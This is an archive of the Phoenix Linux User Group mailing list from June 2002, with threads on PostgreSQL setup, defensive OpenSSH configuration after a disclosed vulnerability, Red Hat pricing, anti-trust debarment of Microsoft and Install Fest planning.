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From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 01:31:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Wed, 26 Jun 2002 18:31:27 -0700 (PDT) Subject: Hello I'm new (kinda) In-Reply-To: <3D19FB91.7020504@netscape.net> Message-ID: <20020627013127.16883.qmail@web13408.mail.yahoo.com> --- Don Calfa wrote: > Are you able to play Region 1 DVD's? I am only able > to play region free > DVD's on Mandrake 8.2 Hi Don, Yes I'm able to play Region 1. I tried out one of my sisters DVD's and it worked fine. What errors are you getting? What player are you using? __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 01:58:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Wed, 26 Jun 2002 18:58:09 -0700 (MST) Subject: Doing the Right Thing (revisited) In-Reply-To: Message-ID: Am 26. Jun, 2002 schwätzte Jiva DeVoe so: > Perhaps instead of spending all this energy on trying to come up with ways > to fight MS legally (which MS will win anyway) why not spend this energy I'm not fighting MS. Morgan Stanley actually gives money to companies in the Free Software community and tries to support competition and free enterprise ( for technology, not so sure they're in favor of competition in their main areas of business though ). m$, however, has broken the law multiple times and has finally been found guilty. > making Linux the better platform to choose for the applications instead of > MS? Then you win for the *right reason*. GNU/Linux already is the better technical platform. Gov't has a need for standards. Mil requires them. GNU/Linux is much better at standards compliance than m$ or mac. Don't know how GNU/Linux compares to the commercial *NIX vendors or the non-commercial *BSDs as far as standards compliance goes. > Frankly, I for one cannot in good conscience recommend that Linux is the > right platform for my children to use in school until Linux has better I don't remember advocating GNU/Linux or any other OS in that post. I don't see any such advocation upon rereading it either. > educational games and is easier to use. And forcing a choice on someone > because of political motivations is no better than what MS does. Political motivations? I explicitly mentioned that m$ should be debarred for illegal activities. Anderson Consulting looks forward to your continued business and Jimmy Hoffa thanks you for your vote ;-). Seriously, the gov't is spending public funds. They should not be supporting companies participating in illegal activities. Once the company has been found guilty the gov't has explicit responsibility to not do business with that company. That is true for any company guilty of a felony or anti-trust violation. There are other restrictions on felons. For instance, it is illegal for a convicted felon to sit on the board for a non-profit corporation. Why shouldn't m$ and anderson have to suffer the same penalties as their fellow felons? I think, at some point the company, with good behavior, will have done its time and could then be elligible to once again contract with the gov't. In the meantime, no new contracts. ciao, der.hans > On 6/26/02 1:55 PM, "der.hans" wrote: > > > Am 25. Jun, 2002 schwätzte George Toft so: > > > >> While searching for more debarment guidelines, I came across these > >> tidbits: > >> =================================================================== > >> Title 7, Ch. 2 Arizona Administrative Code > >> State Board of Education > >> > >> R7-2-1161. Authority to debar or suspend > >> A. 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Conviction or civil judgment finding a violation by any > >> person or any subsidiary or affiliate of any person under > >> state or federal antitrust statutes. > >> > >> www.mpsaz.org/purchasing/protest.pdf > >> > >> Same as before - Schools may debar anti-trust violators. > >> > >> =================================================================== > >> Same thing for ASU: > >> www.abor.asu.edu/1_the_regents/policymanual/chap3/3-809.pdf (page 11) > >> > >> =================================================================== > >> Same thing for the State: > >> http://sporas.ad.state.az.us/AZPolicy_art9.htm#Debarment > >> > >> =================================================================== > >> > >> > >> Tom Emerson is right - there is not much originality from one government > >> agency to the next in Arizona - they all pretty much copy the same text > >> and format. > >> > >> Let the letter writing begin!!! > >> > >> George > >> ________________________________________________ > >> See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > >> to the list quickly and you use Netscape to write mail. > >> > >> PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >> http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >> > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- # https://www.LuftHans.com/ # Don't step in front of speeding cars, don't eat explosives # and don't use m$ LookOut :). - der.hans From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 01:47:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Wed, 26 Jun 2002 18:47:46 -0700 Subject: (no subject) In-Reply-To: References: Message-ID: <02062618474610.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Install Fests generally attract the curious and the convinced. They are either convinced that they want to switch to Linux or they are curious. They are also usually Joe Sixpack types who are getting on the clue train or geeks-in-training who know that there is a lot of fun under the hood. Not too many suits show up. That is another project in itself. If we could wangle out way into one of the many computer shows at the Civic Plaza, those suits and their minions do like to be impressed by the power, stability, and performance of the kinds of apps that they license and use on a daily basis On Wednesday 26 June 2002 18:05, you wrote: >
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(y/n) y Shall the new user be allowed to create more new users? y (assuming your login account is "mike") Now, as the user "mike": createdb firstdb psql firstdb firstdb=# <- the psql command line prompt for database "firstdb" firstdb=# \? <- to see a list of backslash commands. firstdb=# \d <- to list all tables. firstdb=# \h <- for help on SQL commands. etc... explore from here. If you write a ".pgsqlrc" (or whatever it is.. check the docs), you can setup your psql environment to suit. (I think mysql has a similiar .mysqlrc file?) http://www.postgresql.org/idocs/ has complete documentation, including newbie pages (if memory serves me correctly). permissions: like many commercial cousins, postgresql handles a lot through the "grant" statements. If you are unfamiliar with "grant" & "revoke", learn them. (sorry if that sounds harsh, ... i'm dimly remembering some sort of perm manipulation thang in mysql that I have long forgotten. "grant" & "revoke" show up in a lot of db systems, handy to know for the day you have to work on some other db). If you are familiar with typical sql and RDBMS, you'll pick it up quickly. Thing I like most about psql, just about everything I need is available from within the psql shell. (I'm a command line bigot). If you have a windoze box that needs to manipulate a pgsql db, check out the windows ODBC for postgresql and the really nifty windows tool: pgAdmin II (google search on these, you'll find 'em quick). I'm wishing for that pgAdmin II port for Linux, for the GUI inclined, it is really quite nice. (anybody? does this exist?) Dig into stored procedures and triggers, this is one of the very fine features of postgresql, especially if you are into heavy db app development. - tom e. ---------------- On Wed, 26 Jun 2002, Mike wrote: I have been using MySQL for quite some time and feel right at home with it..... I would like to begin learning postgresql. I have just installed it (as a Debian snob, apt-get made that pretty brainless), and need a starting point. Using MySQL, I am spoiled by mysqlshow, and walking right into the mysql db and setting up perms for something I created with mysqladmin create 'dbname'. This is my only baseline, and would love for someone to point me to some docs that address the basics for postgres. v/r mike ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 04:18:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bob George) Date: Wed, 26 Jun 2002 21:18:48 -0700 Subject: SSH - Preparing for the big one (was Re: SSH Exploit Revealed (fwd)) References: <3D1A0A27.10207@ttlexceeded.com> <200206261444.02761.voltage_spike@fastmail.fm> Message-ID: <006101c21d91$bc7a99d0$041010ac@az05.bull.com> "Logan Kennelly" wrote: > [...] > You have probably already done this, but OpenSSH 3.3p1 is still vulnerable. > The key is that it now supports privilege separation which should trap them > in a little box where they can't do anything. To enable this, add the > following line to your sshd config file. > > UsePrivilegeSeparation yes Thanks Logan. Someone on another list also pointed me to http://www.kb.cert.org/vuls/id/369347 which also seems to be a good, concise description of the problem, and possible workarounds. For ssh > 2.9, they recommend: ChallengeResponseAuthentication no PAMAuthenticationViaKbdInt no along with your recommendation. It sounds like this is a moving target, at least until 3.4 is readily available. - Bob From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 04:13:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Wed, 26 Jun 2002 21:13:42 -0700 Subject: Crappy Products Cost More!! References: Message-ID: <3D1A90F6.B045D1DB@qwest.net> > RedHat Professional comes with 90 days technical support. It also has all the > printed manuals that would cost about $35 separately. > > (A small story, indirectly related.) > I have successfully setup a new CVS server at work using RH7.3, Webmin and > CVS, of course. In explaining what I had done and what I am using to do it, > our company product manager said, and I quote, "If all that software is free, > why are we using it. It is probably crap." This was followed by a brief > demonstration of Webmin that left him less "against" the software but still > not "for" it. > (End of story.) > > (Another small story) > A friend of mine runs a technology related service business. He was getting > too much work so he started raising his quotes. He started getting even more > work from people that had dropped him before because he was "priced too low to > be very good" as they later told him. > (End of small story) This is because you either don't know what your skills are worth, or will take more time than someone charging more per hour and cost them more in the long run (time == money, especially during downtime). At least in their eyes. > RedHat, I think, is marketing to the people who think they have to pay for > something for it to be any good. And if they are right, and people want to > pay for the support and the manuals, they remain a viable company. > > Some people want to pay lots of money. Would we geeks pay it? Nope. But > some of the suits and non-geeks will. RedHat will find out soon enough if the > market will pay the price they are asking. I had no problems with the price that RH was charging ($50 for boxed copy). I used to buy the boxed versions (6.2 and before) for my Alpha partly for the documentation, but mostly for the support since I wasn't familiar with the differences between Alpha and Intel (boot methods and such). They no longer support Alpha, so now I'm thinking of switching distros for my little Multias since I like package based distros (not necessarily RPM) and these boxes will need patches to what is running on them (Apache being the most notable of late). The only things I've had to build from source have been PHP and MySQL, but MySQL releases a src.rpm to simplify the upgrade process (though it takes time to compile). From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 04:19:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Wed, 26 Jun 2002 21:19:24 -0700 Subject: mysql -> postgres References: <20020626212154.A86347@lilly.csoft.net> Message-ID: <3D1A924C.93701EA7@qwest.net> Best documentation is the companies website: http://www.postgresql.org/ Pick a mirror. MySQL uses a db to hold permissions PostgreSQL uses a text conf file to hold configuration and permissions I haven't tried PostgreSQL since 7.0.3. At that time I was working with Snort (www.snort.org) sniffing a 200Mb Internet connection (not a typo, 200 Mega bits/s). MySQL couldn't handle the rate at which alerts were coming in, but could handle outputting the frontend (ACID: acidlab.sourceforge.net). PostgreSQL could easily handle the logging, but was slower than molasses for the web frontend (see the graphs at the above mentioned ACID site). A page that took MySQL 30s to load was taking over 8 minutes for PostgreSQL. > I have been using MySQL for quite some time and feel > right at home with it..... I would like to begin learning > postgresql. > > I have just installed it (as a Debian snob, apt-get made that > pretty brainless), and need a starting point. > > Using MySQL, I am spoiled by mysqlshow, and walking right > into the mysql db and setting up perms for something I created > with mysqladmin create 'dbname'. This is my only baseline, and > would love for someone to point me to some docs that address > the basics for postgres. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 04:43:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Michael Kocher) Date: Wed, 26 Jun 2002 21:43:25 -0700 Subject: secure shell using other ports than 22 Message-ID: Howdy, I was wondering if anyone knows how to secure shell using a different port other than the default 22? Also does the ssh server need to be adjusted (so it can looking for ssh at other ports)? thanks for the info, Michael PS. The install fest was great and I got the chance to meet some really great people. Props to the people who spent the time organizing and making the install fest what it was. _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 04:48:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 26 Jun 2002 21:48:28 -0700 Subject: SuSE 7.3 sparc64 References: Message-ID: <001301c21d95$e183d080$2f7c0d82@peyote> > As listed in the manpage: > > hostname - show or set the system's host name > > That should work for a running system. George is right that the system > probably gets the name from /etc/rc.config at boot time. but is it really the active hostname. it does not change /etc/hosts or /etc/HOSTNAME, i can display the hostname that i changed it to with # hostname, but if i reboot the machine it reverts back to the old hostname. its really not a big deal :~D, as i used YaST to make the change. just one of those things that kinda bugged. i will check out /etc/rc.config. > Bring it up on list. Some of us have struggled with netsaint, so might be > able to help you. for sure, when all my attempts fails, i turn to the ones who really know. PLUG!! slr From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 04:57:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Wed, 26 Jun 2002 21:57:09 -0700 Subject: mysql -> postgres In-Reply-To: References: <20020626212154.A86347@lilly.csoft.net> Message-ID: <20020626215709.3e64d834.derek@gnue.org> > Short List: > > as the "postgres" user (during install, you identified a "postgres" > user, right?), from a shell command line: No he is a debian snob so it didnt have to identify anything. :) First log in as root or (su) then su postgres Then do the createuser command below: > createuser > Enter name of user to add: mike > Shall the new user be allowed to create databases? (y/n) y > Shall the new user be allowed to create more new users? y > > (assuming your login account is "mike") you need not have it be same as your login account, it could be anything you like, but creating something same as your user name isnt a bad idea. (From then on if you are logged in as user account that matches user name you created you can type createuser from normal command prompt to create additional users) > Now, as the user "mike": > createdb firstdb > psql firstdb > firstdb=# <- the psql command line prompt for database "firstdb" > firstdb=# \? <- to see a list of backslash commands. > firstdb=# \d <- to list all tables. > firstdb=# \h <- for help on SQL commands. > If there really are enough people willing to attend a postgres class (several week commitment) I will put the course work together and do one. -Derek From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 05:13:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 26 Jun 2002 22:13:16 -0700 Subject: (no subject) References: <02062618474610.07972@nova.wedge.org> <3D1A8CC6.27CFA775@georgetoft.com> Message-ID: <001b01c21d99$58560770$2f7c0d82@peyote> i must disagree with this slightly, because my case was a little different than the average Windoze user. i came from the MainFrame world, and to me at that time a PC was a toy. so the first Windoze box i saw was a joke, compared to the Data Center surrounding it. anyway i eventually got a PC because i want to play Doom, and of coarse Windoze. i started running lightstep because i couldnt stand exploder, then one day this friend of mine was over and i was showing him lightstep and he said i have something i think you will like. he was right, Enlightenment DR13 running the default theme on a RH 5.0 box. that was it for me, i had to run it. so Enlightenment did it for me, and if it would have been a Windows look alike i dont know if Linux would have sparked the passion that it did. i'm not saying that Enlightenment should be the main focus by no means. but i do feel it deserves a place somewhere, in some dark obscure corner. :~D slr > I would hate to see the demo compare some Windows box with > Enlightenment. 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________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > - -- > > Jim > > > > Freedom is worth protecting > > > > -----BEGIN PGP SIGNATURE----- > > Version: PGP 6.5.8 > > > > iQA/AwUBPRpuwisk3ywszI1FEQJ/KACgvsXTGKvsLWy4ACLReiIptTCJmfgAoMc7 > > pGSiwO1XtT/Q8RCR0ZCtpzwU > > =JDmD > > -----END PGP SIGNATURE----- > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- > If you feel you have received a virus from me, please read > http://www.georgetoft.com/virus.html > because it wasn't me! > -- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 05:28:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (KevinO) Date: Wed, 26 Jun 2002 22:28:18 -0700 Subject: secure shell using other ports than 22 References: Message-ID: <3D1AA272.5020107@deru.com> Michael Kocher wrote: > Howdy, > > I was wondering if anyone knows how to secure shell using a different > port other than the default 22? $ ssh -p xxx machine_name_or_ip (where xxx is the port number to use) > Also does the ssh server need to be > adjusted (so it can looking for ssh at other ports)? > Make an entry in the configuration file for the ssh daemon (/etc/ssh/sshd_config) that says : Port xxx (where xxx is the port you want sshd to listen on) -- Kevin O'Connor "People will be free to devote themselves to activities that are fun ... The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 06:02:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Wed, 26 Jun 2002 23:02:59 -0700 (MST) Subject: secure shell using other ports than 22 In-Reply-To: Message-ID: Am 26. Jun, 2002 schwätzte Michael Kocher so: > I was wondering if anyone knows how to secure shell using a different port > other than the default 22? Also does the ssh server need to be adjusted (so > it can looking for ssh at other ports)? For the ssh client use the -p command line option. For the scp client use the -P command line option. Also use the -p option anyway because it preserves the timestamps :). For the server change the Port directive in /etc/ssh/sshd_config. That or cheat and use port forwarding in a firewall :). > PS. The install fest was great and I got the chance to meet some really > great people. Props to the people who spent the time organizing and making > the install fest what it was. Woohoo! We've got one satisfied customer! We're glad you enjoyed it and hope you learned something while you were there. I learned a couple of things, which was awesome. ciao, der.hans -- # https://www.LuftHans.com/ # ... make it clear I support "Free Software" and not "Open Source", # and don't imply I agree that there is such a thing as a # "Linux operating system". - rms From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 05:58:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Wed, 26 Jun 2002 22:58:24 -0700 (MST) Subject: mysql -> postgres In-Reply-To: Message-ID: Am 26. Jun, 2002 schwätzte Tom Emerson so: > Thing I like most about psql, just about everything I need is available > from within the psql shell. (I'm a command line bigot). psql is very nice. SQL completion is pretty good. Still a lot of holes, but it picks up quite a bit. mysql has a lot more work to do. psql also has better readline support for SQL command line editing. \h is great. mysql really needs that. I'm ecstatic about column level perms in MySQL. There's also a 'virtual table' feature of some sort that allows me to designate multiple tables as a single table. I'm really wanting to exploit this for archiving. Roll old stuff into a secondary table and normal queries only hit the most recent table, but reports needing more history can automagically query the whole archive of data. I think that's just me being lazy because it could be done with some sub-queries, but it's so much easier to let the db take care of it ;-). Having different table types, e.g. MyISAM and InnoDB, in mysql is good. MySQL has much better archiving as I can log all queries that change anything in the database and there's a mechanism to snarf through it. PostgreSQL has WAL, but it's not as mature as it needs to be and I don't know of a tool that would allow me to grep around in it. Speaking of being able to grep around in data... psql: lcdb=# SELECT * from lctable \g | egrep -i 'fred|anke'; mysql: mysql> \P egrep -i 'fred|anke' mysql> SELECT * from lctable; mysql> \P less Notice that in psql using grep is easier than using a where clause ;-). BTW, for those not familiar with these two databases... PostgreSQL is the name of the database and psql is a utility to make queries. MySQL is the name of the database and mysql is a utility to make queries. ciao, der.hans -- # https://www.LuftHans.com/ # Stell dir vor, es ist Krieg und keiner geht hin... From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 05:59:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Wed, 26 Jun 2002 22:59:24 -0700 (MST) Subject: mysql -> postgres In-Reply-To: <3D1A924C.93701EA7@qwest.net> Message-ID: Am 26. Jun, 2002 schwätzte Kevin Brown so: > I haven't tried PostgreSQL since 7.0.3. At that time I was working with Snort > (www.snort.org) sniffing a 200Mb Internet connection (not a typo, 200 Mega > bits/s). MySQL couldn't handle the rate at which alerts were coming in, but Internet2 snob! ;-) ciao, der.hans -- # https://www.LuftHans.com/ # Schließlich verteidigt Amerika Freiheit. Und Freiheit beginnt mit dem Wort. # -- Gunter Grass From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 06:07:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Wed, 26 Jun 2002 23:07:23 -0700 (MST) Subject: SuSE 7.3 sparc64 In-Reply-To: <001301c21d95$e183d080$2f7c0d82@peyote> Message-ID: Am 26. Jun, 2002 schwätzte slr so: > but is it really the active hostname. it does not change /etc/hosts /etc/hosts has nothing to do with what the real hostname. It's better if it does list the name, but that's not required. > or /etc/HOSTNAME, i can display the hostname that i changed it to with # /etc/HOSTNAME is probably either read or written at boot time, but should otherwise be ignored. > hostname, but if i reboot the machine it reverts back to the old hostname. Yeah, which is why you have to change it however your system wants it changed. 'hostname blah' is then the way to 'kill -i hostnamed' to make the change active :). ciao, der.hans -- # https://www.LuftHans.com/ # Like the maid, I don't do (M$)Windows. - der.hans From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 05:36:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Wed, 26 Jun 2002 22:36:18 -0700 Subject: Crappy Products Cost More!! In-Reply-To: <3D1A90F6.B045D1DB@qwest.net> References: <3D1A90F6.B045D1DB@qwest.net> Message-ID: <200206262236.18276.krycom1@cox.net> On Wednesday 26 June 2002 9:13 pm, Kevin Brown wrote: > > RedHat Professional comes with 90 days technical support. It also has > > all the printed manuals that would cost about $35 separately. What manuals, that's my point. I have the boxed version and the manual is a 1/4 thick. SuSE and Mandrake have about 2 inches of manuals. > I had no problems with the price that RH was charging ($50 for boxed copy). Me either, until they up the price for $79 for boxed copy or $199 for the server edition. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 06:24:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bob Cober) Date: Wed, 26 Jun 2002 23:24:21 -0700 Subject: Crappy Products Cost More!! References: <3D1A90F6.B045D1DB@qwest.net> <200206262236.18276.krycom1@cox.net> Message-ID: <3D1AAF95.90809@cox.net> I paid $179 for RH 7.3 Pro (well, the company did), and am very happy with it. It comes with 3 OS cds, 1 doc, 2 source, and 3 app cds. It also includes a bootable cdrom business card called the "Survival cd". There are 4 printed manuals, which although slim have pretty good content - some geared to newbies some more advanced. It also has telephone and web-based support. Anyway, compared to a similarly priced XP product from MS, I say RedHat wins hands down. As I said in an earlier post, the install was great - it detected my wireless pcmcia card, set-up dual booting, etc..(As an aside I am trying out KDevelop for the first time and am pretty impressed - I wish I had tried it along time ago - if you haven't used the latest version go get it) I am happy to pay RedHat the $179 - I hope they continue to provide an outstanding alternative to the XP subscription world......... Just my $0.02 errr I mean $179 ;-) Richard L. Proctor wrote: >On Wednesday 26 June 2002 9:13 pm, Kevin Brown wrote: > >>>RedHat Professional comes with 90 days technical support. It also has >>>all the printed manuals that would cost about $35 separately. >>> > >What manuals, that's my point. I have the boxed version and the manual is a >1/4 thick. SuSE and Mandrake have about 2 inches of manuals. > > >>I had no problems with the price that RH was charging ($50 for boxed copy). >> > >Me either, until they up the price for $79 for boxed copy or $199 for the >server edition. >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 07:44:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Thu, 27 Jun 2002 00:44:51 -0700 (PDT) Subject: GNOME 2.0 Message-ID: <20020627074451.70737.qmail@web13409.mail.yahoo.com> Hey all, I was just curious about how many of you may be using GNOME 2.0 now and what you think of it? __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 10:40:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Thu, 27 Jun 2002 06:40:18 -0400 (EDT) Subject: Install Fest II 0626 Status Message-ID: Pardon the delay, sent this last night with the wrong From: address. ---------- Forwarded message ---------- Subject: Install Fest II 0626 Status All corrections and feedback very welcome! News: Jim Farli has started the Install Fest II web site. Looking great! Thanks, Jim! http://www.plugpresents.com/installfest2/ Suggestions: - More Install Stations - Preliminary Survey - User Needs? - Feedback Survey - How to Improve? - 802.11 - Press Releases on 31 July and 31 Aug - Student Newspaper Oriented Press Releases - Demo Zone With Demonstrators - Presentations - PLUG Promotional Materials (PLUG Flyer) - PLUG Promotional Materials (PLUG T-Shirt) - Mailing List Registration - Current Lists - May We Contact You? - Attendees - May We Contact You? - Install Customers - PLUG Membership Database - Homemade Cheesecake Tasks: - Verify site (GCC Student Union?) and date (28 Sep?). - Assess priority and feasibility of suggestions. - Identify volunteers for open slots. Sponsor Status: - Sun Sent an email to the AZ educational sales rep requesting information on the right channel for sponsorship queries. Volunteers: Flyer: Michelle Lowman Press: Lee Einer Site: Steve (foodog) (pending GCC approval) Web Site: Jim Farli Chairman: Bob Bushman Open Volunteer Slots (verified): - Sponsor Wrangler Contact companies regarding sponsorship. Alan has been mentioned as a good resource for contacts. - Installers Be on hand day of show to do installs. Typically oriented by distro, and would be nice to have some specialists (multi-boot, firewall, etc). Open Volunteer Slots (proposed): - Surveys Arrange print and online versions of two surveys: Preliminary, focusing on the type of install needed. Feedback, focusing on opportunities for improvement. A first draft of a feedback survey is available. - 802.11 Arrange use of appropriate wireless gear. - Demo Zone Arrange demonstrators and coordinate efforts to provide appropriate systems. - Presentations Arrange presenters and coordinate access to a projector and OpenOffice presentation software. - T-Shirts Arrange printing of PLUG T-Shirts for sale and/or doorprizes at Install Fest. Probably requires harvesting of donations and/or investment in return on sales. - Contact Registration Arrange electronic and paper registration for mailing lists and "May We Contact You"s. - PLUG Membership Database Arrange a database for categorizing and searching through PLUG friends for experts in given areas. - Homemade Cheesecake Arrange for food for the hardworking volunteers. - Legal Make sure our collective butt is covered. In particular consider the data loss indemnification from last time, and the cost/benefit/permission of selling T-shirts, StarOffice, and/or cheesecake. ------------------------------------------------------------------- "...it's time to drop all the Reagan-era cliches and face facts. That much economic clout in the hands of one company is bad for the whole software industry. Including Microsoft. This is [no longer] a free market." - Flying Monkey 6 ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 11:47:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Thu, 27 Jun 2002 04:47:59 -0700 Subject: Install Fest II 0626 Status In-Reply-To: References: Message-ID: <20020627114759.NRAX1378.fed1mtao03.cox.net@there> well, depending on where it is in the west side, I may be able to attend as installer/administrator (let me know). thanks On Thursday 27 June 2002 03:40 am, you wrote: > Pardon the delay, sent this last night > with the wrong From: address. > > ---------- Forwarded message ---------- > Subject: Install Fest II 0626 Status > > All corrections and feedback very welcome! > > > News: > > Jim Farli has started the Install Fest II > web site. Looking great! Thanks, Jim! > http://www.plugpresents.com/installfest2/ > > > Suggestions: > > - More Install Stations > - Preliminary Survey - User Needs? > - Feedback Survey - How to Improve? > - 802.11 > - Press Releases on 31 July and 31 Aug > - Student Newspaper Oriented Press Releases > - Demo Zone With Demonstrators > - Presentations > - PLUG Promotional Materials (PLUG Flyer) > - PLUG Promotional Materials (PLUG T-Shirt) > - Mailing List Registration - Current Lists > - May We Contact You? - Attendees > - May We Contact You? - Install Customers > - PLUG Membership Database > - Homemade Cheesecake > > > Tasks: > - Verify site (GCC Student Union?) and date (28 Sep?). > - Assess priority and feasibility of suggestions. > - Identify volunteers for open slots. > > > Sponsor Status: > - Sun > Sent an email to the AZ educational sales > rep requesting information on the right > channel for sponsorship queries. > > > Volunteers: > > Flyer: Michelle Lowman > Press: Lee Einer > Site: Steve (foodog) (pending GCC approval) > Web Site: Jim Farli > Chairman: Bob Bushman > > > Open Volunteer Slots (verified): > > - Sponsor Wrangler > Contact companies regarding sponsorship. > Alan has been mentioned as a good resource > for contacts. > > - Installers > Be on hand day of show to do installs. > Typically oriented by distro, and would > be nice to have some specialists (multi-boot, > firewall, etc). > > > Open Volunteer Slots (proposed): > > - Surveys > Arrange print and online versions of two > surveys: Preliminary, focusing on the type > of install needed. Feedback, focusing on > opportunities for improvement. A first draft > of a feedback survey is available. > > - 802.11 > Arrange use of appropriate wireless gear. > > - Demo Zone > Arrange demonstrators and coordinate efforts > to provide appropriate systems. > > - Presentations > Arrange presenters and coordinate access to > a projector and OpenOffice presentation > software. > > - T-Shirts > Arrange printing of PLUG T-Shirts for sale > and/or doorprizes at Install Fest. Probably > requires harvesting of donations and/or > investment in return on sales. > > - Contact Registration > Arrange electronic and paper registration > for mailing lists and "May We Contact You"s. > > - PLUG Membership Database > Arrange a database for categorizing and > searching through PLUG friends for experts > in given areas. > > - Homemade Cheesecake > Arrange for food for the hardworking volunteers. > > - Legal > Make sure our collective butt is covered. > In particular consider the data loss indemnification > from last time, and the cost/benefit/permission of > selling T-shirts, StarOffice, and/or cheesecake. > > ------------------------------------------------------------------- > "...it's time to drop all the Reagan-era cliches and face facts. > That much economic clout in the hands of one company is bad for > the whole software industry. Including Microsoft. This is [no > longer] a free market." - Flying Monkey 6 > ------------------------------------------------------------------- > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 12:14:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Thu, 27 Jun 2002 08:14:35 -0400 Subject: (no subject) References: <02062618474610.07972@nova.wedge.org> <3D1A8CC6.27CFA775@georgetoft.com> <001b01c21d99$58560770$2f7c0d82@peyote> Message-ID: <3D1B01AB.1D1DC61D@georgetoft.com> When a business person looks at a shift in technology, they must consider retraining and migration costs. I spend about and hour per day (less now that we fixed a glaring design error from a Big 5 Consulting firm that we paid almost 7 figures to) talking with people who are confused by a statement like this: "Please answer three of the five questions below." This is demonstrated to me daily as people answer all five questions. There is a substantial difference between you/me, and the average corporate PC user. Business must take these factors into account when making migration and upgrade plans. Enlightenment is eye-candy, and not well suited for a business setting - business needs consistency, reliability and repeatability. A system that is consistent with what most people are used to is important. George slr wrote: > > i must disagree with this slightly, because my case was a little different > than the average Windoze user. i came from the MainFrame world, and to me at > that time a PC was a toy. so the first Windoze box i saw was a joke, > compared to the Data Center 